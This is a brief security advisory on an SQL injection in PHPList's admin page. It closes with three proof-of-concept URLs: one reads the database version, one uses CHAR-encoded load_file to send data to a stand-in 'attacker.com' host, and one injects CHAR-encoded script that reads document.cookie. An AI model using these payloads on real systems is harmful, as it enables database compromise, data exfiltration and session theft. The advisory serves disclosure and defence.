source: http://www.securityfocus.com/bid/54912/info

PHPList is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Versions prior to PHPList 2.10.19 are vulnerable. 

http://www.example.com/admin/?page=editattributes&id=1&delete=1 union select version() --

http://www.example.com/admin/?page=editattributes&id=1&delete=1 union select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))) --

http://www.example.com/admin/?page=editattributes&id=1&delete=1 union select char(60,115,99,114,105,112,116,62,97,108,101,114,116,40,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41,59,60,47,115,99,114,105,112,116,62) --